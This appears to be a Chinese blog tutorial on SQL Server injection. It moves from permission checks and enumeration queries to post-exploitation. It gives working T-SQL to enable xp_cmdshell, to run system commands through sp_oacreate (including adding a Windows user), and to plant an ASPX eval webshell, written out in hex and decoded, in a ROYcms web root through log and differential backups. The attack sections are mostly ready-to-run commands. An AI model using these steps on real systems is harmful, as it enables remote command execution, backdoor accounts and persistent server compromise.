目录
1. 前言
搜寻了好久发现一张非常详细的关于SQLServer注入脑图。
图片来源:https://xie1997.blog.csdn.net/article/details/88679754
2. SQLServer数据库
2.1 数据库权限介绍
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库,默认端口:1433。数据库后缀名(.mdf),注释符(--)。
SQL Server有三个权限级别:
sa权限:服务器级别,数据库操作、文件管理、命令执行、读取注册表等system权限,为SQLServer数据库的最高权限。
db权限:数据库级别,文件管理,数据库操作等权限user-administrators。
public权限:数据库操作guest-users。
sqlserver权限体系:https://www.cnblogs.com/milantgh/p/4643228.html
判断当前用户:
# 判断是否是SA权限
select is_srvrolemember('sysadmin')
# 判断是否是db_owner权限
select is_member('db_owner')
# 判断是否是public权限
select is_srvrolemember('public')
2.2 数据库信息
SQLServer数据库有6个默认的库,其中有4个系统数据库:master、model、msdb、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。需要注意的是系统数据库model和temped默认是没有数据表的。
SELECT * FROM Master..SysDatabases ORDER BY Name # 查询所有数据库
master数据库:master数据库存储控制SQLServer的所有信息,在这个数据库中包含所有的配置信息、用户登录信息、当前正在服务器中运行的过程信息。
model数据库:model数据库是建立所有用户数据库时的模板。当建立一个新的数据库时,SQL Server会将model数据库中的所有对象备份并移到新的数据库中。在模板对象被拷贝至新的用户数据库中之后,该数据库的所有多余的空间都将被空页填满。
msdb数据库:msdb数据库时SQL Server中的一个特例。该数据库实际是一个用户数据库,所有的任务调度、报警、操作员都存储在msdb数据库中。并且该数据还有一个作用就是存储所有的备份历史,SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据的作用是向访问数据库的用户提供,用来保存所有的临时表、存储过程和其他SQL server建立的临时的数据。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
2.3 数据库管理
a. 修改默认端口
SQL server数据库默认端口为1433,可以是由SQL server配置管理器进行修改
SQLServer网络配置——>MSSQLSERVER的协议——>TCP/IP,右键属性,将IPALL的TCP端口更改为想要使用的任意端口。
3. SQL server数据库的查询语句
在SQL server数据库中每个数据库内的表sysobjects记录着在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。
sysdatabases是在master数据库中的表,是一个只读的表,里面包含所有数据库的信息。
select @@version; --查询数据库的版本
select @@servername; --查询服务名
select host_name(); --查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); --查询当前数据库名
select db_name(1); --查询第一个数据库名
select db_name(2); --查询第二个数据库名
select user; --查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb --切换到tempdb表
top n --查询前n条记录
select substring('string',2,1) --截取给定字符串的索引为2的1个字符
select ascii('a') --查询给定字符串的ascii值
select len('string') --查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; --查询当前数据库的使用空间
sp_spaceused '表名' --查询指定表名的详细信息
--判断是否是SA权限
select is_srvrolemember('sysadmin')
--判断是否是db_owner权限
select is_member('db_owner')
--判断是否是public权限
select is_srvrolemember('public')
/*
count(name)是查询总数
name是查询名字
*是查询详细信息
*/
--查询数据库
SELECT * FROM Master..SysDatabases ORDER BY Name -- 查询所有数据库信息
select count(name) from sysdatabases -- 查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name from sysdatabases -- 查询数据库的名字
--查询数据表
select count(name) from sysobjects where type='U' -- 查询当前数据库中表的个数
select name from sysobjects where type='U' -- 查询当前数据库中所有表的名字
select * from sysobjects where type='U' -- 查询当前数据库的所有表的详细信息
SELECT COUNT(name) FROM roycmsData..sysobjects WHERE xtype='U' -- 查询指定roycmsData数据库中表的个数
select name from roycmsData..sysobjects where xtype='U' -- 查询指定roycmsData数据库中表的名字
select * from roycmsData..sysobjects where xtype='U' -- 查询指定roycmsData数据库中表的详细信息
-- 查询列
SELECT COUNT(name) FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user') -- 查询roycmsData数据库的指定ROYcms_user表的列的个数
SELECT name FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user') -- 查询roycmsData数据库的指定ROYcms_user表的所有列的名字
SELECT * FROM roycmsData..syscolumns WHERE id=(SELECT MAX(id) FROM roycmsData..sysobjects WHERE xtype='U' AND name='ROYcms_user') -- 查询roycmsData数据库的指定ROYcms_user表的列的详细信息
-- 查询数据
SELECT COUNT(*) FROM roycmsData..roycms_user -- 查询test数据库user表的数据的条数
SELECT * FROM roycmsData..roycms_user -- 查询test数据库user表的所有数据
查询当前数据库中所有表的大小
DECLARE @table_spaceused TABLE -- 定义变量存放结果
(name nvarchar(100)
,rows int
,reserved nvarchar(100)
,data nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
-- 统计数据库里每个表的详细情况,并将结果归纳到对应的字段
INSERT INTO @table_spaceused(name,rows,reserved,data,index_size,unused ) EXEC sp_MSforeachtable @command1='exec sp_spaceused ''?'''
SELECT * FROM @table_spaceused
4. SA权限开启xp_cmdshell获取主机权限
判断 xp_cmdshell 是否开启,返回如截图所示1时表示开启,为0时是关闭。
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
EXEC sp_configure;
-- 开启xp_cmdshell
execute('sp_configure "show advanced options",1') -- 将该选项的值设置为1
execute('reconfigure') -- 保存设置
execute('sp_configure "xp_cmdshell", 1') -- 将xp_cmdshell的值设置为1
execute('reconfigure') -- 保存设置
execute('sp_configure') -- 查看配置
-- 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0; -- 将xp_cmdshell的值设置为0即关闭
RECONFIGURE;
执行系统命令
5. SA权限使用sp_oacreate执行系统命令
使用以下命令查看是否可使用 sp_oacreate 执行系统命令
DECLARE @shell INT
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'whoami'
如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,可以使用以下命令打开。
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
再次尝试执行命令,便不会报错了,但使用 sp_oacreat 执行系统命令是没有回显内容的。
在没有回显但是可以执行命令的情况下,可以尝试利用系统命令新建用户。
DECLARE @shell INT
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user TMD Password@ /add'
6. Getshell
6.1 DB_owner权限LOG备份Getshell
利用数据库备份的过程写入一句话木马
SQLServer常见的备份策略:
1.每周一次完整备份
2.每天一次差异备份
3.每小时一次事务日志备份
利用前提:
1.目标机器存在数据库备份文件 ,就是我们利用的数据库已经存在数据库备份文件,而且恢复模式得是完整模式。
2.知道网站的绝对路径
3.该注入支持堆叠注入
获取绝对路径
USE tempdb;CREATE TABLE tt_tmp (tmp1 VARCHAR(1000)) -- 在tempdb数据库内创建临时表tt_tmp
# 查找网站路径并将网站路径插入到表tt_tmp
INSERT INTO tt_tmp(tmp1)
EXEC master..xp_cmdshell 'dir /s /b c:\test.aspx'
SELECT * FROM tt_tmp -- 查看路径
备份getshell
alter database roycmsData set RECOVERY FULL; -- 修改数据库恢复模式为 完整模式
create table cmd (a image); -- 创建一张表cmd,只有一个列 a,类型为image
BACKUP LOG roycmsData TO DISK= 'c:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\roycmsData.aspx' with init; -- 备份表到指定路径
INSERT INTO cmd (a) VALUES(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965746577616e67225d2c22756e7361666522293b253e) -- 插入一句话到cmd表里
BACKUP LOG roycmsData TO DISK='c:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\roycmsData1.aspx' -- 把操作日志备份到指定文件
drop table cmd; -- 删除cmd表
INSERT INTO cmd (a) VALUES(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965
746577616e67225d2c22756e7361666522293b253e) # 是一句话木马 <%@ Page Language="Jscript"%><%eval(Request.Item["jietewang"],"unsafe");%> 的16进制
其中文件roycmsData.aspx是备份文件,roycmsData1.aspx是包含后门的文件。
使用后门管理工具(AntSword)进行连接
6.2 DB_owner权限差异备份Getshell
差异备份 (differential backup)
MSSQL数据库备份,基于完整数据库或部分数据库或一组数据文件或文件组(差异基准)的最新完整备份,并且仅包含自确定差异基准以来发生更改的数据。
利用前提:
1.知道网站绝对路径
2.该注入支持堆叠注入
CREATE TABLE [dbo].[test] ([cmd] [image]) -- 创建表test,表内字段为cmd,类型为image
--备份 定义变量@a和@s,jietewang的16进制表示(0x6a6965746577616e67)
DECLARE @a sysname,@s nvarchar(4000) SELECT @a=db_name(),@s=0x6a6965746577616e67 BACKUP LOG @a TO DISK = @s WITH init,no_truncate
-- 插入包含一句话木马到数据库内
INSERT INTO [test](cmd) values(0x3c25402050616765204c616e67756167653d224a73637269707422253e3c256576616c28526571756573742e4974656d5b226a6965746577616e67225d2c22756e7361666522293b253e)
-- 差异备份数据库
DECLARE @a sysname SELECT @a=db_name() BACKUP LOG @a TO DISK='C:\Inetpub\wwwroot\发布后上传文件\ROYcms!NT\backupSHELL1.aspx' WITH init,no_truncate
Drop TABLE [test]
备份成功了,但是没办法访问后门文件,也没法使用后门管理工具进行连接。